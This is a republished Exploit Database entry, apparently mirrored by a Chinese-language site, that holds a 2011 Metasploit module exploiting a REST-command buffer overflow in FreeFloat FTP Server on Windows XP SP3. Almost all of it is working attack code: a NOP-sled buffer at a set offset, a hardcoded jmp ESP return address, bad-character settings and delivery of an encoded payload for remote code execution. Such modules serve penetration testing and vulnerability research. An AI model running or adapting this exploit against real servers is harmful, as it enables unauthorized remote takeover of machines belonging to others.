Freefloat FTP Server – ‘REST’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： KaHPeSeSe
  日期： 2011-07-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17548/

• ##
   
  require 'msf/core'
   
  class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking
   
  include Msf::Exploit::Remote::Ftp
   
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'FreeFloat FTP Server REST Buffer Overflow',
  'Description'=> %q{
  This module exploits a FreeFloat FTP Server Buffer Overflow
  						found in the REST command.
  },
  'Author' => [
  'C4SS!0 G0M3S', # Discovery Vuln.
  'KaHPeSeSe' # Metasploit Module
  ],
  'License'=> MSF_LICENSE,
  'Version'=> '$Revision: $',
  'References' =>
  [
  [ 'URL', 'http://www.exploit-db.com/exploits/17546' ],
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process',
  },
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x0d",
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'PERFECT XP PC1 / SP3',
  {
  'Ret' => 0x7C874413, # findjmp KERNEL32.DLL ESP 0x7C874413 jmp ESP
  'Offset' => 246
  }
  ],
  ],
  'DisclosureDate' => 'Jul 18 2011',
  'DefaultTarget' => 0))
  end
   
  def exploit
  connect_login
   
  print_status("Trying target #{target.name}...")
   
  buf = make_nops(target['Offset']) + [target.ret].pack('V')
  buf << make_nops(20)
  buf << payload.encoded
   
  send_cmd( ['REST', buf] , false )
   
  handler
  disconnect
  end
   
  end